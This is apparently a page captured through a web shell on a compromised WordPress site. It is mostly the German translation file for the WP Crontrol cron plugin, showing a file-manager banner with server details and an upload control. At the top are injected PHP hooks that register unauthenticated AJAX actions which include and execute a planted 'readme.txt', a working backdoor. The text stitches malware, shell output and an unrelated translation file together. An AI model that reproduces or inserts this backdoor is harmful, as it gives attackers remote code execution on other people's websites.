if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/languages/plugins/wp-crontrol-de_DE.po
# Translation of Plugins - WP Crontrol - Stable (latest release) in German
# This file is distributed under the same license as the Plugins - WP Crontrol - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-05-31 10:56:32+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: de\n"
"Project-Id-Version: Plugins - WP Crontrol - Stable (latest release)\n"

#: src/event-list-table.php:741
msgid "Immediately"
msgstr "Sofort"

#: src/event-list-table.php:692
msgid "PHP cron events are disabled."
msgstr "PHP-Cron-Ereignisse sind deaktiviert."

#. translators: State of a cron event, adjective
#: src/event-list-table.php:620
msgid "Inactive"
msgstr "Inaktiv"

#. translators: %s: Details about the URL cron event.
#: src/event-list-table.php:646 src/event-list-table.php:654
msgid "URL cron event (%s)"
msgstr "URL-Cron-Ereignis (%s)"

#. translators: %s: Details about the PHP cron event.
#: src/event-list-table.php:599 src/event-list-table.php:611
msgid "PHP cron event (%s)"
msgstr "PHP-Cron-Ereignis (%s)"

#: src/event-list-table.php:279
msgid "URL events"
msgstr "URL-Ereignisse"

#: src/bootstrap.php:2064
msgid "PHP cron event saved."
msgstr "PHP-Cron-Ereignis wurde gespeichert."

#: src/bootstrap.php:2060
msgid "URL cron event saved."
msgstr "URL-Cron-Ereignis wurde gespeichert."

#: src/bootstrap.php:1966 src/event-list-table.php:216
msgctxt "noun"
msgid "Schedule"
msgstr "Zeitplan"

#: src/bootstrap.php:1775
msgid "HTTP Method"
msgstr "HTTP-Methode"

#: src/bootstrap.php:1754
msgid "URL"
msgstr "URL"

#: src/bootstrap.php:1732 src/event-list-table.php:656
msgid "URL cron event"
msgstr "URL-Cron-Ereignis"

#: src/bootstrap.php:256 src/bootstrap.php:438
msgid "URL Cron"
msgstr "URL-Cron"

#. Description of the plugin
#: wp-crontrol.php
msgid "Take control of the cron events on your WordPress website."
msgstr "Übernimm die Kontrolle über die Cron-Ereignisse auf deiner WordPress-Website."

#: src/event-list-table.php:625
msgid "Needs checking"
msgstr "Erfordert Überprüfung"

#: src/event-list-table.php:452
msgid "Check and edit"
msgstr "Überprüfen und bearbeiten"

#: src/event-list-table.php:278
msgid "PHP events"
msgstr "PHP-Ereignisse"

#. translators: %s: An input field for specifying a date and time
#: src/bootstrap.php:1935
msgid "At this time: %s"
msgstr "Zu diesem Zeitpunkt: %s"

#: src/bootstrap.php:1764 src/bootstrap.php:1817 src/event-list-table.php:117
msgid "Read what to do"
msgstr "Lies, was zu tun ist"

#: src/bootstrap.php:1815
msgid "The PHP code in this event needs to be checked for integrity. This event will not run until you re-save it."
msgstr "Der PHP-Code für dieses Ereignis muss auf Integrität überprüft werden. Dieses Ereignis wird nicht ausgeführt werden, bis du es erneut speicherst."

#: src/bootstrap.php:1739 src/event-list-table.php:613
msgid "PHP cron event"
msgstr "PHP-Cron-Ereignis"

#: src/bootstrap.php:1726
msgid "Standard cron event"
msgstr "Standard-Cron-Ereignis"

#. Author of the plugin
#: wp-crontrol.php
msgid "John Blackbourn"
msgstr "John Blackbourn"

#. Plugin URI of the plugin
#. Author URI of the plugin
#: wp-crontrol.php
msgid "https://wp-crontrol.com"
msgstr "https://wp-crontrol.com"

#. translators: %s: The number of events with this hook
#: src/event-list-table.php:539
msgid "Delete all events with this hook (%s)"
msgstr "Alle Ereignisse mit diesem Hook (%s) löschen"

#. translators: Pause is a verb
#: src/event-list-table.php:502
msgid "Pause this hook"
msgstr "Diesen Hook pausieren"

#. translators: Resume is a verb
#: src/event-list-table.php:491
msgid "Resume this hook"
msgstr "Diesen Hook fortsetzen"

#. translators: 1: Date and time, 2: Timezone
#: src/bootstrap.php:1982 src/bootstrap.php:2130
msgid "Site time when page loaded: %1$s, %2$s"
msgstr "Website-Zeit, als die Seite geladen wurde:  %1$s, %2$s"

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2056
msgid "Resumed the %s hook."
msgstr "Der Hook %s wurde fortgesetzt."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2051
msgid "Paused the %s hook."
msgstr "Der Hook %s wurde pausiert."

#: src/bootstrap.php:822 src/bootstrap.php:828 src/bootstrap.php:869
#: src/bootstrap.php:875
msgid "You are not allowed to pause or resume cron events."
msgstr "Du hast keine Berechtigung, Cron-Ereignisse zu pausieren oder fortzusetzen."

#. translators: %s: The name of the cron event.
#: src/event.php:259
msgid "Failed to resume the cron event %s."
msgstr "Cron-Ereignis %s konnte nicht fortgesetzt werden."

#. translators: %s: The name of the cron event.
#: src/event.php:228
msgid "Failed to pause the cron event %s."
msgstr "Cron-Ereignis %s konnte nicht pausiert werden."

#. translators: State of a cron event, adjective
#: src/event-list-table.php:668
msgid "Paused"
msgstr "Pausiert"

#: src/event-list-table.php:280
msgid "Paused events"
msgstr "Pausierte Ereignisse"

#. translators: %s: Function name
#: src/bootstrap.php:2343
msgid "Function %s does not exist"
msgstr "Funktion %s existiert nicht"

#: src/bootstrap.php:2068
msgid "An unknown error occurred."
msgstr "Es ist ein unbekannter Fehler aufgetreten."

#: src/bootstrap.php:935
msgid "Could not save CSV file."
msgstr "Die CSV-Datei konnte nicht gespeichert werden."

#: src/event-list-table.php:344
msgid "Export"
msgstr "Exportieren"

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2007
msgid "Scheduled the cron event %s to run now. The original event will not be affected."
msgstr "Das geplante Cron-Ereignis %s wird jetzt ausgeführt. Das ursprüngliche Ereignis wird nicht beeinflusst."

#: src/bootstrap.php:1094 src/bootstrap.php:1121 src/bootstrap.php:1139
#: src/event-list-table.php:721 src/event-list-table.php:808
msgid "Help"
msgstr "Hilfe"

#. translators: %s: URL to the documentation
#: src/bootstrap.php:1080
msgid "<a href=\"%s\">Read the WordPress.org documentation on WP-Cron</a> for more technical details about the WP-Cron system for developers."
msgstr "<a href=\"%s\">Lies die WordPress.org-Dokumentation zu WP-Cron</a> für weitere technische Details über das WP-Cron-System für Entwickler."

#. translators: %s: URL to the documentation
#: src/bootstrap.php:1066
msgid "<a href=\"%s\">Read the Frequently Asked Questions (FAQ)</a> which cover many common questions and answers."
msgstr "<a href=\"%s\">Lies die Häufig gestellten Fragen (FAQ)</a>, die viele häufige Fragen und Antworten abdecken."

#. translators: 1: URL to the documentation, 2: WP Crontrol
#: src/bootstrap.php:1051
msgid "<a href=\"%1$s\">Read the %2$s website</a> which contains information about events that have missed their schedule, problems with spawning a call to the WP-Cron system, and much more."
msgstr "<a href=\"%1$s\">Lies die Website %2$s</a>, die Informationen über Ereignisse enthält, die ihren Zeitplan verpasst haben, Probleme mit dem Generieren eines Aufrufs an das WP-Cron-System haben und vieles mehr."

#: src/bootstrap.php:1045
msgid "There are several places to get help with issues relating to WP-Cron:"
msgstr "Es gibt mehrere Stellen, an denen du Hilfe bei Problemen mit WP-Cron bekommst:"

#: src/event-list-table.php:572
msgid "This is a WordPress core event and cannot be deleted"
msgstr "Dies ist ein Ereignis des WordPress-Cores und kann nicht entfernt werden"

#: src/event-list-table.php:277
msgid "Custom events"
msgstr "Eigene Ereignisse"

#: src/event-list-table.php:276
msgid "WordPress core events"
msgstr "WordPress-Kernereignisse"

#: src/event-list-table.php:275
msgid "Events with no action"
msgstr "Ereignisse ohne Aktionen"

#: src/event-list-table.php:274
msgid "All events"
msgstr "Alle Ereignisse"

#: src/event.php:142
msgid "Invalid timestamp provided."
msgstr "Ungültiger Zeitstempel angegeben."

#. translators: %s: The name of the cron event.
#: src/event.php:113
msgid "Failed to schedule the cron event %s."
msgstr "Das Cron-Ereignis %s konnte nicht geplant werden."

#. translators: %s: The name of the cron event.
#: src/event.php:74 src/event.php:333
msgid "The cron event %s could not be found."
msgstr "Das Cron-Ereignis %s konnte nicht gefunden werden."

#: src/event-list-table.php:877
msgid "No matching cron events."
msgstr "Keine zutreffenden Cron-Ereignisse."

#: src/bootstrap.php:1716 src/bootstrap.php:1721
msgid "Event Type"
msgstr "Ereignistyp"

#: src/bootstrap.php:1390 src/bootstrap.php:1418
msgid "More information"
msgstr "Weitere Informationen"

#: src/bootstrap.php:1388
msgid "PHP default timezone is not set to UTC. This may cause issues with cron event timings."
msgstr "Die Standard-Zeitzone von PHP ist nicht auf UTC gesetzt. Das kann Probleme mit der Zeitsteuerung der Cron-Ereignisse hervorrufen."

#: src/bootstrap.php:109
msgctxt "verb"
msgid "Sponsor"
msgstr "Sponsor"

#. translators: 1: The name of the configuration constant, 2: The value of the
#. configuration constant
#: src/event-list-table.php:855 src/schedule-list-table.php:200
msgid "This interval is less than the %1$s constant which is set to %2$s seconds. Events that use it may not run on time."
msgstr "Dieses Intervall ist kleiner als die Konstante %1$s, die auf %2$s Sekunden gesetzt ist. Ereignisse, die es benutzen, werden möglicherweise nicht pünktlich ausgeführt."

#: src/event-list-table.php:875
msgid "There are currently no scheduled cron events."
msgstr "Es gibt derzeit keine geplanten Cron-Ereignisse."

#. translators: %s: Time period, for example "8 minutes"
#: src/event-list-table.php:802
msgid "%s ago"
msgstr "vor %s"

#. translators: 1: Line number, 2: Error message text
#: src/event-list-table.php:633
msgid "Line %1$s: %2$s"
msgstr "Zeile %1$s: %2$s"

#: src/event-list-table.php:579
msgid "Select this row"
msgstr "Diese Zeile auswählen"

#. translators: %s: UTC offset
#: src/event-list-table.php:212
msgid "Next Run (%s)"
msgstr "Nächste Ausführung (%s)"

#: src/event-list-table.php:208
msgid "Hook"
msgstr "Hook"

#: src/schedule-list-table.php:233
msgid "There are no schedules."
msgstr "Es gibt noch keine Zeitpläne."

#: src/schedule-list-table.php:119
msgid "This schedule is added by another plugin and cannot be deleted"
msgstr "Dieser Zeitplan wurde von einem anderen Plugin hinzugefügt und kann nicht entfernt werden"

#: src/schedule-list-table.php:117 src/schedule-list-table.php:153
msgid "This is a WordPress core schedule and cannot be deleted"
msgstr "Dies ist ein Zeitplan des WordPress-Cores und kann nicht entfernt werden"

#. translators: %s: Schedule name
#: src/event.php:380
msgid "Unknown (%s)"
msgstr "Unbekannt (%s)"

#: src/bootstrap.php:2117
msgid "Search Hook Names"
msgstr "Hook-Namen suchen"

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2046
msgid "Failed to save the cron event %s."
msgstr "Cron-Ereignis %s konnte nicht gespeichert werden."

#: src/bootstrap.php:2041
msgid "Deleted the selected cron events."
msgstr "Die ausgewählten Cron-Ereignisse wurden entfernt."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2027
msgid "Deleted the cron event %s."
msgstr "Das Cron-Ereignis %s wurde entfernt."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2022
msgid "Saved the cron event %s."
msgstr "Das Cron-Ereignis %s wurde gespeichert."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2017
msgid "There are no %s cron events to delete."
msgstr "Es gibt kein Cron-Ereignis namens %s zu entfernen."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2012
msgid "Deleted all %s cron events."
msgstr "Alle Cron-Ereignisse %s wurden entfernt."

#: src/bootstrap.php:1672 src/bootstrap.php:2228
msgid "Edit Cron Event"
msgstr "Cron-Ereignis ändern"

#: src/bootstrap.php:1648
msgid "Add Event"
msgstr "Ereignis hinzufügen"

#: src/bootstrap.php:1634
msgid "Update Event"
msgstr "Ereignis aktualisieren"

#. translators: %s: The name of the plugin that controls the running of cron
#. events.
#: src/bootstrap.php:1304
msgid "WP-Cron spawning is being managed by the %s plugin."
msgstr "Das Laden von WP-Cron wird durch das Plugin %s verwaltet."

#. translators: %s: The name of the cron schedule.
#: src/bootstrap.php:1178
msgid "Added the cron schedule %s."
msgstr "Der Cron-Zeitplan %s wurde hinzugefügt."

#. translators: %s: The name of the cron schedule.
#: src/bootstrap.php:1173
msgid "Deleted the cron schedule %s."
msgstr "Der Cron-Zeitplan %s wurde entfernt."

#: src/bootstrap.php:1116
msgid "Schedules"
msgstr "Zeitpläne"

#: src/bootstrap.php:1111
msgid "Events"
msgstr "Ereignisse"

#: src/bootstrap.php:1926
msgid "Tomorrow"
msgstr "Morgen"

#: src/bootstrap.php:1920 src/event-list-table.php:819
msgid "Now"
msgstr "Jetzt"

#: src/bootstrap.php:689 src/bootstrap.php:742
msgid "You are not allowed to delete PHP cron events."
msgstr "Du darfst keine PHP-Cron-Ereignisse löschen."

#: src/bootstrap.php:339 src/bootstrap.php:514
msgid "You are not allowed to edit PHP cron events."
msgstr "Du darfst keine PHP-Cron-Ereignisse bearbeiten."

#. translators: 1, 2, and 3: Example values for an input field.
#: src/bootstrap.php:1883
msgid "Use a JSON encoded array, e.g. %1$s, %2$s, or %3$s"
msgstr "Verwende ein JSON-kodiertes Array, z. B. %1$s, %2$s oder %3$s"

#. translators: The PHP tag name
#: src/bootstrap.php:1825
msgid "The opening %s tag must not be included."
msgstr "Das öffnende %s-Tag darf nicht mit eingeschlossen sein."

#: src/schedule-list-table.php:121
msgid "This custom schedule is in use and cannot be deleted"
msgstr "Dieser individuelle Zeitplan ist in Benutzung und kann nicht gelöscht werden"

#: src/event-list-table.php:217
msgid "Action"
msgstr "Aktion"

#: src/bootstrap.php:1991
msgid "You cannot add, edit, or delete PHP cron events because your user account does not have the ability to edit files."
msgstr "Du kannst keine PHP-Cron-Ereignisse hinzufügen, bearbeiten oder löschen, weil dein Benutzerkonto dazu nicht berechtigt ist."

#. translators: %s Timezone name.
#: src/bootstrap.php:1956
msgid "Timezone: %s"
msgstr "Zeitzone: %s"

#: src/bootstrap.php:1873
msgid "Arguments (optional)"
msgstr "Argumente (optional)"

#: src/bootstrap.php:1791 src/bootstrap.php:1837
msgid "Event Name (optional)"
msgstr "Ereignisname (optional)"

#. translators: %s: The name of the PHP constant that is set.
#: src/bootstrap.php:1321
msgid "The %s constant is set to true."
msgstr "Die Konstante %s ist auf \"true\" gesetzt."

#. translators: %s: The name of the PHP constant that is set.
#: src/bootstrap.php:1313
msgid "The %s constant is set to true. WP-Cron spawning is disabled."
msgstr "Die Konstante %s ist auf \"true\" gesetzt. Aufruf von WP-Cron ist deaktiviert."

#. translators: %s: The HTTP response code.
#: src/bootstrap.php:1354
msgid "Unexpected HTTP response code: %s"
msgstr "Unerwarteter HTTP-Antwortcode: %s"

#: src/bootstrap.php:1213 src/bootstrap.php:1235
msgid "Add Cron Schedule"
msgstr "Fügt einen Cron-Zeitplan hinzu"

#: src/bootstrap.php:1021 src/bootstrap.php:1022 src/bootstrap.php:2107
#: src/bootstrap.php:2188
msgid "Cron Events"
msgstr "Cron-Ereignisse"

#: src/bootstrap.php:164 src/bootstrap.php:273
msgid "You are not allowed to add new PHP cron events."
msgstr "Du darfst keine neuen PHP-Cron-Ereignisse hinzufügen."

#. Plugin Name of the plugin
#: wp-crontrol.php
msgid "WP Crontrol"
msgstr "WP Crontrol"

#: src/bootstrap.php:2441
msgid "now"
msgstr "jetzt"

#. translators: %s: The number of seconds in an interval of time.
#: src/bootstrap.php:2437
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] "%s Sekunde"
msgstr[1] "%s Sekunden"

#. translators: %s: The number of minutes in an interval of time.
#: src/bootstrap.php:2435 src/bootstrap.php:2448
msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] "%s Minute"
msgstr[1] "%s Minuten"

#. translators: %s: The number of hours in an interval of time.
#: src/bootstrap.php:2433
msgid "%s hour"
msgid_plural "%s hours"
msgstr[0] "%s Stunde"
msgstr[1] "%s Stunden"

#. translators: %s: The number of days in an interval of time.
#: src/bootstrap.php:2431
msgid "%s day"
msgid_plural "%s days"
msgstr[0] "%s Tag"
msgstr[1] "%s Tage"

#. translators: %s: The number of weeks in an interval of time.
#: src/bootstrap.php:2429
msgid "%s week"
msgid_plural "%s weeks"
msgstr[0] "%s Woche"
msgstr[1] "%s Wochen"

#. translators: %s: The number of months in an interval of time.
#: src/bootstrap.php:2427
msgid "%s month"
msgid_plural "%s months"
msgstr[0] "%s Monat"
msgstr[1] "%s Monate"

#. translators: %s: The number of years in an interval of time.
#: src/bootstrap.php:2425
msgid "%s year"
msgid_plural "%s years"
msgstr[0] "%s Jahr"
msgstr[1] "%s Jahre"

#: src/event-list-table.php:478
msgid "Run now"
msgstr "Jetzt ausführen"

#: src/event-list-table.php:454
msgid "Edit"
msgstr "Bearbeiten"

#: src/bootstrap.php:957 src/bootstrap.php:1807
msgid "PHP Code"
msgstr "PHP-Code"

#: src/bootstrap.php:314 src/bootstrap.php:528
msgid "PHP Cron"
msgstr "PHP-Cron"

#: src/event-list-table.php:725
msgid "None"
msgstr "Keine"

#: src/bootstrap.php:1898 src/bootstrap.php:1915
msgid "Next Run"
msgstr "Nächster Lauf"

#: src/bootstrap.php:1853 src/bootstrap.php:1856
msgid "Hook Name"
msgstr "Hook-Name"

#: src/bootstrap.php:1674 src/bootstrap.php:2223
msgid "Add Cron Event"
msgstr "Cron-Ereignis hinzufügen"

#: src/bootstrap.php:2109
msgid "Add New Cron Event"
msgstr "Neues Cron-Ereignis hinzufügen"

#. translators: %s: Error message text.
#: src/bootstrap.php:1414
msgid "There was a problem spawning a call to the WP-Cron system on your site. This means WP-Cron events on your site may not work. The problem was: %s"
msgstr "Ein Problem trat während des Aufrufs des WP-Cron-Systems auf deiner Website auf. Dies bedeutet, dass WP-Cron-Ereignisse auf deiner Website nicht funktionieren. Das Problem war: %s"

#: src/bootstrap.php:1218
msgid "Interval (seconds)"
msgstr "Intervall (Sekunden)"

#: src/bootstrap.php:1230 src/schedule-list-table.php:78
msgid "Internal Name"
msgstr "Interner Name"

#: src/event-list-table.php:258 src/event-list-table.php:433
#: src/event-list-table.php:519 src/schedule-list-table.php:130
msgid "Delete"
msgstr "Löschen"

#: src/bootstrap.php:1224 src/schedule-list-table.php:80
msgid "Display Name"
msgstr "Anzeigename"

#: src/schedule-list-table.php:79
msgid "Interval"
msgstr "Intervall"

#: src/bootstrap.php:1014 src/bootstrap.php:1015 src/bootstrap.php:1205
#: src/bootstrap.php:2192
msgid "Cron Schedules"
msgstr "Cron Zeitpl&auml;ne"

#: src/bootstrap.php:782 src/bootstrap.php:790
msgid "You are not allowed to run cron events."
msgstr "Dir ist es nicht gestattet, Cron-Ereignisse zu starten."

#: src/bootstrap.php:637 src/bootstrap.php:680 src/bootstrap.php:734
msgid "You are not allowed to delete cron events."
msgstr "Dir ist es nicht gestattet, Cron-Ereignisse zu löschen."

#: src/bootstrap.php:622
msgid "You are not allowed to delete cron schedules."
msgstr "Dir ist es nicht gestattet, Cron-Zeitpläne zu löschen."

#: src/bootstrap.php:604
msgid "You are not allowed to add new cron schedules."
msgstr "Dir ist es nicht gestattet, neue Cron-Zeitpläne hinzuzufügen."

#: src/bootstrap.php:331 src/bootstrap.php:423
msgid "You are not allowed to edit cron events."
msgstr "Dir ist es nicht gestattet, Cron-Ereignisse zu bearbeiten."

#: src/bootstrap.php:157 src/bootstrap.php:215
msgid "You are not allowed to add new cron events."
msgstr "Dir ist es nicht gestattet, neue Cron-Ereignisse hinzuzufügen."

#: src/bootstrap.php:982 src/event-list-table.php:864 src/schedule.php:111
msgid "Non-repeating"
msgstr "Einmalig"

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2032
msgid "Failed to the delete the cron event %s."
msgstr "Das Löschen des Cron-Ereignis %s ist gescheitert."

#. translators: %s: The name of the cron event.
#: src/bootstrap.php:2037
msgid "Failed to the execute the cron event %s."
msgstr "Das Ausführen des Cron-Ereignis %s ist gescheitert."